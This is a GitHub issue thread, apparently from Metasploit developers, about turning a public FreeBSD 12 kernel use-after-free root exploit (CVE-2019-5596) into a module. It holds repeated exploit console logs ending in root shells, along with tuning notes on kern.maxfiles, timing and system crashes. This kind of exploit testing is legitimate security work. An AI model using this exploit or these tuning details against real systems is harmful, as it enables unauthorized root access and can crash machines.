Closed h00die closed 4 years ago
Interesting. Nope, not on my list. All yours.
Some notes on CVE-2019-5596:
For the FreeBSD provided VMWare image, the default kern.maxfiles
gets bumped into and prevents successful exploitation. When this happens, hello reboot.
$ sysctl kern.maxfiles
kern.maxfiles: 31535
[+] Hammer threads ready: 100
[+] Hammer threads ready: 200
[+] Hammer threads ready: 300
[!] fopen: Too many open files in system
[+] Hammer threads ready: 400
[+] Hammer threads ready: 500
[+] Hammer threads ready: 600
[+] Hammer threads ready: 700
[+] Hammer threads ready: 800
[+] Hammer threads ready: 900
[!] recvfrom: Resource temporarily unavailable
[!] Could not create all hammer threads, will try though!
[+] Send signal to Start Hammering
[+] monitor: Reached hidirtybuffers watermark
[+] trigger_uaf: Opened read-only file, now hope
[+] trigger_uaf: Exit
[+] Killed 10883
[+] Killed 10884
[+] Killed 10885
packet_write_wait: Connection to 1.1.1.1 port 22: Broken pipe
Setting it to 50000 or 60000 (forgot which, but will re-test to figure out the sweet spot), did enable successful exploitation.
Exploitation also takes a LONG time, ~10min when successful in my testing.
$ ./e.sh
[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security
cp: /tmp/libno_ex.so.1.0 and libno_ex.so.1.0 are identical (not copied).
[+] Firing the Heavy Cyber Weapon
[+] Start UaF preparation
[+] monitor: vfs.hidirtybuffers: 1762
[+] This can take a while
[+] Progress: 0%
[+] Progress: 10%
[+] Progress: 20%
[+] Progress: 30%
[+] Progress: 40%
[+] Progress: 50%
[+] Progress: 60%
[+] Progress: 70%
[+] Progress: 80%
[+] Progress: 90%
[+] Progress: 100%
[+] Finished UaF preparation
[+] Created child with PID 879
[!] write_to_file: Could not stick thread to core: Invalid argument
[+] Fork 0 fd: 9
[+] trigger_uaf: fd: 9
[+] Fork 0 fd2: 10
[+] write_to_file: Wait for signal from monitor
[+] Fork 0 created all threads
[+] Created child with PID 880
[+] Fork 1 fd: 9
[+] trigger_uaf: fd2: 10
[+] Fork 1 fd2: 10
[+] Created child with PID 881
[+] trigger_uaf: Waiting for start signal from monitor
[+] Hammer threads ready: 0
[+] Fork 2 fd: 9
[+] Fork 2 fd2: 10
[+] Hammer threads ready: 100
[+] Hammer threads ready: 200
[+] Hammer threads ready: 300
[+] Hammer threads ready: 400
[+] Hammer threads ready: 500
[+] Hammer threads ready: 600
[+] Hammer threads ready: 700
[+] Hammer threads ready: 800
[+] Hammer threads ready: 900
[+] Hammer threads ready: 1000
[+] Hammer threads ready: 1100
[+] Send signal to Start Hammering
[+] trigger_uaf: Opened read-only file, now hope
[+] trigger_uaf: Exit
[+] write_to_file: We have written something...
[+] check_write
[+] /tmp/pwn size: 0
[+] /etc/libmap.conf size: 122
[+] Read bytes: 12
[+] write_to_file: It (probably) worked!
[+] write_to_file: Exit
[+] monitor: Reached hidirtybuffers watermark
[+] Killed 879
[+] Killed 880
[+] Killed 881
[+] Returned fd: 10
[+] Enjoy!
[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf
# id
uid=1001(user) gid=1001(user) euid=0(root) egid=0(wheel) groups=0(wheel)
# whoami
root
kern.maxfiles
default was ~64k on my FreeBSD 12 system, built from ISO. Single core.
$ sysctl kern.maxfiles
kern.maxfiles: 64303
Exploitation took ages. I managed to glance over just as it rebooted.
Running again to verify.
oh, its VERY temperamental. 40000 maxfiles was another reboot. 19minutes.
Bumped to 80k. Success, but forgot to time it.
$ ./cve-2019-5596
[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security
[+] Firing the Heavy Cyber Weapon
[+] Start UaF preparation
[+] monitor: vfs.hidirtybuffers: 3401
[+] This can take a while
[+] Progress: 0%
[+] Progress: 10%
[+] Progress: 20%
[+] Progress: 30%
[+] Progress: 40%
[+] Progress: 50%
[+] Progress: 60%
[+] Progress: 70%
[+] Progress: 80%
[+] Progress: 90%
[+] Progress: 100%
[+] Finished UaF preparation
[+] Created child with PID 1000
[!] write_to_file: Could not stick thread to core: Invalid argument
[+] Fork 0 fd: 9
[+] trigger_uaf: fd: 9
[+] Fork 0 fd2: 10
[+] Created child with PID 1001
[+] Fork 1 fd: 9
[+] Fork 0 created all threads
[+] write_to_file: Wait for signal from monitor
[+] Created child with PID 1002
[+] Fork 1 fd2: 10
[+] Fork 2 fd: 9
[+] trigger_uaf: fd2: 10
[+] Hammer threads ready: 0
[+] Fork 2 fd2: 10
[+] trigger_uaf: Waiting for start signal from monitor
[+] Fork 2 created all threads
[+] Hammer threads ready: 100
[+] Hammer threads ready: 200
[+] Hammer threads ready: 300
[+] Hammer threads ready: 400
[+] Hammer threads ready: 500
[+] Hammer threads ready: 600
[+] Hammer threads ready: 700
[+] Hammer threads ready: 800
[+] Hammer threads ready: 900
[+] Hammer threads ready: 1000
[+] Hammer threads ready: 1100
[+] Send signal to Start Hammering
[+] monitor: Reached hidirtybuffers watermark
[+] trigger_uaf: Opened read-only file, now hope
[+] trigger_uaf: Exit
[+] write_to_file: We have written something...
[+] check_write
[+] /tmp/pwn size: 0
[+] /etc/libmap.conf size: 122
[+] Read bytes: 12
[+] write_to_file: It (probably) worked!
[+] write_to_file: Exit
[+] Killed 1000
[+] Killed 1001
[+] Killed 1002
[+] Returned fd: 10
[+] Enjoy!
[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf
# id
uid=1001(user) gid=1001(user) euid=0(root) egid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD freebsd-12-0-RELEASE-amd64 12.0-RELEASE FreeBSD 12.0-RELEASE r341666 GENERIC amd64
# sysctl kern.maxfiles
kern.maxfiles: 80000
#
[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security
[+] Firing the Heavy Cyber Weapon
[+] Start UaF preparation
[+] monitor: vfs.hidirtybuffers: 1762
[+] This can take a while
[+] Progress: 0%
[+] Progress: 10%
[+] Progress: 20%
[+] Progress: 30%
[+] Progress: 40%
[+] Progress: 50%
[+] Progress: 60%
[+] Progress: 70%
[+] Progress: 80%
[+] Progress: 90%
[+] Progress: 100%
[+] Finished UaF preparation
[+] Created child with PID 867
[!] write_to_file: Could not stick thread to core: Invalid argument
[+] Fork 0 fd: 9
[+] trigger_uaf: fd: 9
[+] Fork 0 fd2: 10
[+] Created child with PID 868
[+] Fork 1 fd: 9
[+] write_to_file: Wait for signal from monitor
[+] Fork 1 fd2: 10
[+] trigger_uaf: fd2: 10
[+] Fork 0 created all threads
[+] Created child with PID 869
[+] trigger_uaf: Waiting for start signal from monitor
[+] Hammer threads ready: 0
[+] Fork 2 fd: 9
[+] Fork 2 fd2: 10
[+] Hammer threads ready: 100
[+] Hammer threads ready: 200
[+] Hammer threads ready: 300
[+] Hammer threads ready: 400
[+] Hammer threads ready: 500
[+] Hammer threads ready: 600
[+] Hammer threads ready: 700
[+] Hammer threads ready: 800
[+] Hammer threads ready: 900
[+] Hammer threads ready: 1000
[+] Hammer threads ready: 1100
[+] Send signal to Start Hammering
[+] monitor: Reached hidirtybuffers watermark
[+] trigger_uaf: Opened read-only file, now hope
[+] trigger_uaf: Exit
[+] Killed 867
[+] write_to_file: We have written something...
[+] check_write
[+] /tmp/pwn size: 0
[+] /etc/libmap.conf size: 122
[+] Read bytes: 12
[+] write_to_file: It (probably) worked!
[+] write_to_file: Exit
[+] Killed 868
[+] Killed 869
[+] Returned fd: 10
[+] Enjoy!
[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf
# id
uid=1001(user) gid=1001(user) euid=0(root) egid=0(wheel) groups=0(wheel)
# uname -a
FreeBSD freebsd 12.0-RELEASE FreeBSD 12.0-RELEASE r341666 GENERIC amd64
# sysctl kern.maxfiles
kern.maxfiles: 65535
@raymontag any insight onto maxfiles
from your testing?
Re-ran with time
. Took about an hour on a single core.
$ time ./cve-2019-5596
[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security
[+] Firing the Heavy Cyber Weapon
[+] Start UaF preparation
[+] monitor: vfs.hidirtybuffers: 3401
[+] This can take a while
[+] Progress: 0%
[+] Progress: 10%
[+] Progress: 20%
[+] Progress: 30%
[+] Progress: 40%
[+] Progress: 50%
[+] Progress: 60%
[+] Progress: 70%
[+] Progress: 80%
[+] Progress: 90%
[+] Progress: 100%
[+] Finished UaF preparation
[+] Created child with PID 877
[!] write_to_file: Could not stick thread to core: Invalid argument
[+] Fork 0 fd: 9
[+] trigger_uaf: fd: 9
[+] Fork 0 fd2: 10
[+] Created child with PID 878
[+] Fork 1 fd: 9
[+] Fork 0 created all threads
[+] write_to_file: Wait for signal from monitor
[+] Fork 1 fd2: 10
[+] trigger_uaf: fd2: 10
[+] Created child with PID 879
[+] Fork 2 fd: 9
[+] trigger_uaf: Waiting for start signal from monitor
[+] Fork 2 fd2: 10
[+] Hammer threads ready: 0
[+] Hammer threads ready: 100
[+] Hammer threads ready: 200
[+] Hammer threads ready: 300
[+] Hammer threads ready: 400
[+] Hammer threads ready: 500
[+] Hammer threads ready: 600
[+] Hammer threads ready: 700
[+] Hammer threads ready: 800
[+] Hammer threads ready: 900
[+] Hammer threads ready: 1000
[+] Hammer threads ready: 1100
[+] Send signal to Start Hammering
[+] monitor: Reached hidirtybuffers watermark
[+] trigger_uaf: Opened read-only file, now hope
[+] trigger_uaf: Exit
[+] Killed 877
[+] Killed 878
[+] Killed 879
[+] write_to_file: We have written something...
[+] check_write
[+] /tmp/pwn size: 0
[+] /etc/libmap.conf size: 122
[+] Read bytes: 12
[+] write_to_file: It (probably) worked!
[+] write_to_file: Exit
[+] Returned fd: 10
[+] Enjoy!
[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf
# id
uid=1001(user) gid=1001(user) euid=0(root) egid=0(wheel) groups=0(wheel),5(operator)
# sysctl kern.maxfiles
kern.maxfiles: 64303
#
# uname -a
FreeBSD freebsd-12-0-RELEASE-amd64 12.0-RELEASE FreeBSD 12.0-RELEASE r341666 GENERIC amd64
# ^D 4130.44 real 115.33 user 878.54 sys
$
4130.44
(68 minutes) is off by maybe 5-10 minutes, as I wasn't watching.
Also, I'd advise against Ctrl+C, unless you want a reboot.
Also, I forgot to copy ./libmap.conf
back to /etc/libmap.conf
and bricked my system.
So you had a success and failure on 64303?
51 minutes @ 70,000 maxfiles
[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf
# ^D 3119.70 real 97.06 user 1087.35 sys
$ sysctl kern.maxfiles
kern.maxfiles: 70000
So you had a success and failure on 64303?
Yes. I had a second failure, which I killed as it appeared to have hung. I don't remember what value I had for maxfiles
, but it was 64303
at minimum.
the WIP i have for this is Rank = AverageRanking
with
'Stability' => [CRASH_OS_RESTARTS],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS]
(screen_effects for root when maxfiles is reached).
hoping to have a WIP up today so testing can at least be automated
@h00die Sorry, didn't messed with kern.maxfiles
during the development. IIRC the main problem was to get the right timing between reaching the hidirtybuffers
water mark, triggering the UaF in the right moment and open/write to the fd
while in a msleep()
in the kernel thread. I affected this mainly by adjusting the number of threads and forks which do the 'hammering' according to available RAM. So yes, very temperamental :D
@h00die Oh btw, it were 2 or 3 exploits, depending on your viewpoint :) The first one hits the bug in fd. The second one affected a bug in a mqueuefs syscall. While this was patched I found a missing patch for that vuln in the 32-bit compability syscall. So 3 advisories second exploit works for two of them if compiled for 32-bit. The second exploit only works for the 3rd advisory if COMPAT32 is compiled in the kernel (true for 64-bit GENERIC), though.
@raymontag I saw that there were 2 in the one .sh file. I'll get to that next once I get this one finished. Would you like me to include an email for you in the exploit, if not I'll just be your name (no twitter handles) https://github.com/rapid7/metasploit-framework/pull/12793/files#diff-0beda5dae2e9ff1e4b3a73a5fbc0fad1R33
Sure, you can use karsten (at) secfault-security.com
I don't know if you add secondary documentation via links but there are two blog posts in our research blog, too: https://secfault-security.com/blog.html
Thanks for your effort btw to include this in Metasploit. Feels really good :)
looks like 2 (or 3?) LPEs for FreeBSD 12 dropped on EDB. While I have no experience with FreeBSD, I wouldn't mind taking a crack at (one of?) them.
https://www.exploit-db.com/exploits/47829 CVE-2019-5596 https://www.exploit-db.com/exploits/47830
@bcoles didn't know if they were already in the works by you or not.